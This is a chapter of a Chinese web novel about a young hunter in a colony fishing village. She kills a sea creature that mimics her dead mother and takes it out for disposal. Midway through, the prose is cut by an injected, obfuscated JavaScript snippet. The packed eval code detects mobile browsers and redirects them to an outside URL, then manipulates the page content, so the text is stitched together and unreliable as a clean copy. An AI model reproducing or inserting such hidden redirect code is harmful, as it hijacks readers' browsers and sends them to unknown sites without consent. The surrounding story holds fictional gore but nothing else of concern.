新历439年，11月3日。
第八海岸东段，黑锚渔村。
这地方三面悬崖，一面临海，像被巨物一脚踩出来的坑，整个村子就缩在坑底。
从地理角度看，这里没有像样的淡水层，也没有能种出东西的土。真要赶上一回大涨潮，连房子带地基都得一块儿还给大海。能留在这儿讨生活的，祖上大多两种营生：
渔民，或者是清剿异种的猎人。
万里家是后者。
她家的房子在村东头，位置不算好。一到风季，海风就跟长了牙似的往屋顶上啃，防风铆钉差不多一个月就得换新。但这地方离沉放码头最近，方便父女俩出工。只要清剿队那边的信号一亮，提上风灯，十几分钟就能赶到泊船口。
这间二层小屋是老万一点点修起来的。
外面钉了一层防潮铜片，窗框比村里多数人家厚上一圈，屋顶后半段倾斜，下面是一间工具棚，挂满了吃饭的家伙事。靠墙是一台手摇蒸汽泵，旁边接着铜管和压力表，表盘都裂出蛛网纹了，被能省则省的老万用布胶带胡乱缠上，平时泵一开，整间棚子都跟着晃荡。
屋里的气味也浑浊，铁锈，机油，还有一股终年散不掉的海腥气。
万里从小闻这个味长大，早不觉得难受了。
“叩，叩。”
“我做早饭了，你记得吃。”
突如其来的声音一下把梦境撞碎。
万里睁开眼，门外传来老万离去的脚步，木楼梯被他那双包铁头的工靴踩得吱嘎作响。
她没动，盯着窗外那片乌漆麻黑看了会儿。梦里那片海域的模样还没散干净，可具体梦见什么，她也说不上来了。
楼下又传来一阵铁锅和灶台碰撞的动静。
“听见没有？”老万声音粗哑，高声喊了一句，“给你温着了，凉了别赖我啊！”
“听见了……”万里用如出一辙的哑嗓子回应。
她顶着一脑袋乱毛，从床边的工作台上摸来黄铜油灯点上，昏黄光线洒开，勉强照亮这间狭窄的阁楼小屋。
工作台上平铺着一份第八海岸的海图，被沉放日志压着，旁边是一支有些年头的钢笔。
椅背上搭着旧外套，袖口还有洗不掉的机油印，单人床的床尾是只铁皮衣柜，再没别的了。
万里披上外套，对着那面生了锈斑的挂镜草草捋了两把头发，噔噔下了楼。
这阵子近海清剿刚告一段落，码头那边也没新活，她每天的正事只剩给炉子添煤，再去棚里看看蒸汽泵的阀门，别又被哪块生锈的破片卡死。
清闲，无聊，且毫无前途。
厨房的灶台是老式蒸汽灶，下头连着一只圆肚锅炉，火早灭了，只剩一点余温还烘着锅里的东西。
掀开盖子一看，上层是两块压缩麦饼和一只白煮蛋，下层则是昨晚剩下的灰鳞鱼粥。
“……”
鱼粥表面结了一层薄膜，鱼头煮得眼珠发白，嘴巴半张不张，边上还浮着一圈淡黄油花，稀稀拉拉地贴着锅沿，十分倒胃口。
老万做饭就是这样，熟了能吃，就算完事。
万里到底还是没动那些死不瞑目的灰鳞鱼，沏了一碗茶汤，准备泡麦饼凑合一顿。
“啪嗒”一声轻响，一本杂志顺着门缝底下塞了进来。
是新一期的《启航》。
村里每月都会派人往各家塞一本，订不订的都差不多，反正总会发下来。联邦大概是在用这种法子提醒猎人们：我们还记得你们，只是眼下确实顾不上。
杂志还是老样子，封面印着旧地球的风景照。蓝天，白云，外加一大片金黄麦田，上方印着本月专题：
[11月刊：地球味觉档案]
下面还有一行加粗小字：
[猎人月快乐！]
都不用翻开，万里就知道这一期又是经典老配方。
前半本忆地球峥嵘往昔，后半本畅想人类未来，拳打异种脚踢星盗，中间还夹着名人访谈和大量广告。
只是广告里卖的通常和黑锚渔村没什么关系，不是新款智能净水机，就是恒温织料、飞行通勤票、光都餐厅体验券等等。
她拿着杂志回到桌边坐下，一边嚼麦饼一边往后翻，权当解闷儿。
果然。
前面是几张地球晚期的城市航拍图，剩下的就是专家根据旧数据库复原出来的川菜专题。一整页几乎都被各种红彤彤的图片占满了，最下面配着说明：
[川菜以鲜、香、麻、辣为主要风味特征，层次丰富，复合感强，是旧地球饮食文化中最具代表性的地域菜系之一。“蜀味档案馆”已完成经典菜式复原，即日起开放限时预约体验。订席专线：9527-6320-57X]
再往后就是一些光都的航拍图了。
高楼大厦，霓虹灯光，像一根根发亮的金属骨骼，从地表笔直刺向天空。飞行器掠过城市中轴上空，尾部拖着一面巨大的光幕旗帜，上面滚动着某位巨星巡演的消息。
然后，在一个极不起眼的角落里，没有配图，只有短短一小段话：
“致全体海岸守护者：
值此猎人月开启之际，联邦统帅部谨向所有撑过杀戮月、生还至今的一线猎人致以最高敬意。愿这个难得平静的十一月，能让生者稍得休整，也让亡者得以安息。
文明永存，守望无声。”
万里面无表情，翻页的速度越来越快。
虽然这种落差她早习惯了，但每回看见，还是忍不住想骂。
明明大家的祖宗是搭着同一艘火种号离开地球的，却偏偏同船不同命。
光都如今头也不回地迈进了后人类时代，反观这边，还困在一个锈迹斑斑的旧工业世纪里，老老实实给人家看大门，烧锅炉。烧得天都黑了，好好的弗尔迦什城，硬是被叫成了“灰都”。
说是维多利亚时期都算抬举，因为这里没有蓬蓬裙，也没有贵族绅士，更没有什么歌剧院。
幼年时的万里曾不止一次地追问，老万总是会耐心解答：
“能几把为啥？刚落地那阵都去忙着建设了，这个星球原生种又太多，总得有人去管不是？”
其实渔村的人不太会说“原生种”这个词，那是光都人和清剿文书上的写法，村民更习惯叫那些东西为“异种”。
那时候老老万还活着，但身体大不如前了，听见这个话题总是会扯过孙女，语重心长地胡咧咧：
“人类都是自私卑鄙的，自诩文明的种族总能给殖民行为找到一个合理的借口，可以是带来文明，也可以是保护资源……”
在小万里眼中，她爷这就属于绝症了。媳妇、儿媳妇都死在异种手里，这老不死的还在替凶手找台阶，仿佛他不是受害者一样。
往往这时老万都会把万里拉走，生怕闺女也沾染上父亲的矫情。
“人类必须狠心，”他说，“不狠心全死这儿了，火种号航行了四个半世纪，不是来跟这群原生种交朋友的……咱们想过日子，想延续，就得殖民。”
“别听你爷撺掇，全人类那点多余的心软，都长他一个人身上了。没办法，家门不幸……”
话没说完，一根拐杖精准地飞过来，敲在老万的脑门上。
万里勾了勾唇角，翻页的手始终没停。
人类初到这里时，也尝试过与原住民沟通，历史书上写着：
[新历元年2月，异种袭击联邦特使团，首席谈判官及随行人员全员罹难。联邦被迫宣布进入战时状态，展开全面自卫反击。]
简而言之，就是对方先动的手，人类被迫还击罢了。
但按照老老万的说法——
“那帮人先抓了人家的孩子做切片，又砍了那片孵化林。谁不知道那是原生种下崽的地方？这跟刨人家祖坟有什么区别……不狠狠干你才有鬼了。”
自那以后，两边才算彻底没了转圜，不死不休。
这里的异种确实凶悍，但凶悍不等于难对付。
面对人类手里的激光阵列和定向爆破装置，这群脑仁只有指肚大的原住民，本质上不过是一批灵活的靶子。三十年不到，陆地上的异种就被清剿得七七八八，剩下那些，也只能被迫退回海里。
好好的陆生种，硬是让人类给挤兑成了两栖的。
平心而论，这是个相当顽强的物种。换了别的生物，栖息地被连根拔起，多半也就灭绝了。可它们没有，退进海里之后照样活得很好，还会毫无征兆地摸进村庄，拖走落单的人，也会在近海伏击沉放船。
时间一久，人类也懒得再提什么共存，理解，剩下的无非一件事——
杀。
可海岸线太长，异种太多，正规军也有正规军的去处，不可能把整套人手都耗在这里。于是猎人这个多少有些寒碜的边防军种，就这么诞生了。
万家也不是一直就待在黑锚渔村的。
老老万早年在光都做官，职位不低，就是那张嘴实在没个把门的，得罪了人，才被联邦以明升暗降的方式流放到了这里，官衔倒是响亮：
第八海岸驻防司令。
听着像封疆大吏，实际上，不过是把一个在军部里见谁怼谁的老疯子，打发到海边来跟异种对骂。
甚至老老万刚走，灵堂还没拆，新的委任状就到了。说什么“前衔续存，现职补入”，象征着司令职权的徽章被别到老万肩上。
你看，平时对着猎人们声泪俱下，感恩戴德，可一旦涉及人事调动，为了不被派到这鬼地方，那帮狗日的竟活生生逼着联邦，把一个军事长官的职位搞成封建世袭制。
宁可让出去，也绝不弄脏自己那挺括的制服。
万里觉得，文明发展到这个份上也算有始有终，不光审美是个轮回，天杀的，就连制度都是。
她那时还小，看着那枚司令徽章，一边哭一边骂那帮人不是东西，明明她都考上云都的高中了，临门一脚，硬是叫这枚徽章给扣在了黑锚渔村。
反倒是老万过来安慰她：“行了，等我一死，这个肩章就是你的。”
于是万里哭得更凶。
杂志继续往后翻，上面说预计未来三年，第八海岸沿线将增设五座中型信号塔，以进一步改善偏远区域通信条件。
万里对这些大饼不抱任何期待，反正村西头那座小型信号塔已经孤零零站了二十年。都快被海风腐蚀成铁渣了，也没等来第二座信号塔跟它做伴。
杂志最后是一篇长文：《火种号：离开地球之后》
文章开头先说地球是怎么坏掉的，再说火种号是怎么起飞的，中间穿插几张老照片和几段幸存者回忆录，最后再用一种很体面的口吻告诉读者：
“这是人类文明脱离故土、迈向群星的决定性一步。尽管代价巨大，但我们最终仍在新世界站稳了脚跟。”
万里看了片刻，把冷掉的茶汤一口喝尽。
在她看来，这话也不能说是错的。只是那决定性的一步迈出去以后，后面的路，跟新纪元没多大关系，人类更像是没完没了地活下去——
进食、喘气、不要灭绝，仅此而已。
“叩，叩……叩叩叩。”
门外忽然响起两长三短的敲门声，紧接着，一道女声响起：
“万里，你爸走得急，码头那边又来东西了，喊你过去搭把手。”
撕麦饼的手一顿，万里随手把剩下半块往桌上一扔，起身去开门。
门外的金发女人三十出头，身上那件外套和万里身上这件如出一辙，袖口洗不掉的机油甚至都一样。她手里拎着一只空布袋，像是从哪家借完东西回来。
是妈妈，至少看上去是。
万里九岁那年，同样是在猎人月。那夜海底异动，异种们趁机顶翻了沉放船。一半的猎人游了回来，另一半连同眼前这个金发女人，一起留在了那片海里。
“妈妈”见女儿不说话，笑了笑：“睡懵了？”
万里也跟着笑。
“嗯，昨晚熬夜写沉放日志来着。”她说。
金发女人亲了亲她的额头，动作自然得几乎让万里有些恍惚。
“吃完了吧？跟我走，码头那边催呢。”
“行，等我一会儿。”
万里转身回屋，顺手把桌上的小餐刀别进后腰，半块麦饼塞进嘴里，拍拍手，就跟着女人出了门。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483274|201872||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
外头天光微亮，女人的金发被海风吹起，掠过万里的脸。她忽然发觉，自己已经和记忆里的妈妈一样高了。
这星球上还记得女人的活物没几个。
那些旧照片早烂没了，万里又继承了老万那点不太争气的记性，有时她甚至觉得，再过些年，那片金发是什么颜色，她都未必说得清。
可这些回声异种偏偏记得，仅仅是因为它们吃过妈妈的血肉。某种意义上，这种记住的方式比人脑可靠，但万里认为这种可靠还是烂在海底比较好。
“你现在很警醒，刀不离身。”女人的目光落在那把小餐刀上。
“凑合吧。”那块麦饼还在万里嘴里磨着，声音含含糊糊的。
黑锚渔村仍旧安静，偶尔有早起的村民看见她们母女俩，抬手打声招呼，视线在金发女人脸上停一下，又很快若无其事地移开。
一路上女人都在说话。说今早风不算大，码头那边好像来了条新船，说老万走得匆忙，锅里那鱼粥怕是又煮老了。万里偶尔应一声，也不着急，甚至希望这条路再长一些。
可惜黑锚渔村实在太小，只用了半个小时，二人就到了村南那座废弃的风泵附近。
铁架子底下散着防腐袋和剔骨刀，地上有一层洗不掉的污垢，猎人们处理回声异种时都往这里来，没人规定过，就这么默认了。
万里停下脚步。
女人回头看她：“怎么了？”
“差不多了。”
“什么差不多了？”
“我是说，”万里看着对方，语气甚至温柔，“你学得挺像的，比前几只都像。”
话音未落，刀已经握在手里。
万里速度极快，那把小餐刀斜着切进女人脖颈，从耳根下方一路朝前送。女人目光依旧温和，哪怕整个喉道已经断开，身体因为剧痛不住地抽搐，那张脸还是笑着的。
她一手按住回声异种的肩膀，另一手往外一拉，刀口豁开。脖子里的灰白组织鼓了出来，没有鲜血，只有一团团发亮的胶质顺着伤口往外翻。
拟态人皮慢慢皱起，然后松脱，露出底下的软骨。眼珠失去了支撑，从眼眶里慢慢流到地上，表面还蒙着一层灰膜。
回声异种想伸手去捡，只是抽搐了几下就不动了。等那层拟态皮彻底扁塌下去，万里才拔出餐刀。
风从废风泵的铁架间穿过，吹来一股锈味。
她蹲下去，餐刀重新对准锁骨后侧。
回声异种本体死了，腔子里的回声囊还活着，搬运途中稍微受到挤压，就会发出动静。
猎人们还好，只是村里的老渔民最忌讳这个。
万里拿刀尖拨开那团灰白湿肉，伸手进去狠狠一拽，一个半透明，拳头大小的肉团掉出来。
刚一离开胸腔，回声囊忽然动了。里面传出一道声音，遥远沉闷，像被很深很深的海水泡过，又被风从海底捎了出来。
“妈妈爱你……”
握刀的手停了一瞬，但也只有一瞬。
下一秒，万里狠狠一脚跺了下去。
回声囊一下子裂开，组织液溅了一地，旁边几块碎石被腐蚀得冒起白烟。
处理完回声囊，万里又把那层拟态皮剥下来，单独装进防腐袋，软骨和灰白色的胶质则归到另一只收纳袋里。等这些都做完，地上剩下的，就只是一具普通的异骸了。
按清剿手册上的标准流程，普通异骸不需要额外处置，直接拖去沉放码头，绑坠下海。
万里找来一条拖索，套住异骸的脚踝，拽起来就往码头方向走。
这东西彻底死透以后，四肢开始回缩，胸腹也一点点塌成一团，拖起来毫不费力。路上的石子和碎铁片不时刮下一点灰白肉屑，落在地上像雪。
.
码头比村里热闹许多。
两条沉放船的甲板上摞得满满当当，全是异骸，形状颜色各异，血水和黏液沿着甲板缝往下淌，把船身染出一道道污痕。
老万正与登记员帕尔默聊天，见他朝着自己身后努嘴，扭头一看：
“这玩意儿又去找你了？”
“嗯。”
万里应了一声，拖着异骸走到船尾，把钩索和滑轮扣了上去，那只装着拟态皮的防腐袋则扔到帕尔默脚底下。
“倒霉孩子，见了人也不知道叫一声。”老万冲着闺女的背影喊。
帕尔默一低头，发现防腐袋没有扎紧，露出里头一缕湿漉漉的金发。
“莉诺也这样，青春期么。”他若无其事地把袋子踢远了些，翻开随身小册子，低头记了一笔。
“T3级回声异种，拟态皮一张，赏金一千……”帕尔默边写边嘀咕，“嚯！满打满算，万里今年的赏金快有七十万了。”
“多少？”老万一把夺过册子。
上面属于万里的记录足足有十几页，满满当当的，粗略一扫，甚至还有一条写着：T1级，利维坦角膜一片。[1]
帕尔默在旁边瞧着，有些阴阳怪气：“你今年倒轻省，活儿全让万里代劳了。行啊，官威都耍到自家人身上了……”
册子一合，老万也说不清心里是个什么滋味，最后清清嗓子，摆出一副理所当然的样子：
“哪有亲自清剿异种的司令？叫别的海岸知道了，我的面子还要不要？”
“快得了吧，就那不值钱的东西，掉地上都没人捡。”
“……”
船离岸后，海风一下重了起来。到了固定沉放带附近，海水的颜色透着一种不太干净的锈红。
这里水流急，底下还有多年积出来的生物分解层。处理过的异骸从这里下去，通常不会浮起，也不容易被冲回岸边。
万里站在船舷旁，看着那具回声异种被帕尔默拖到甲板边。
它现在彻底不像人了。
胸腔敞着，锁骨后空了一块，皮被剥掉，喉道也烂了，只剩四肢末端还留着一点模糊的拟态痕迹。
她过去抬腿就是一脚。
“扑通。”
异骸翻出船舷，连着绳索和铁坠一同掉下去。
锈红色的海面翻涌，气泡从水面顶破，一个接一个散开，很快就恢复了原样。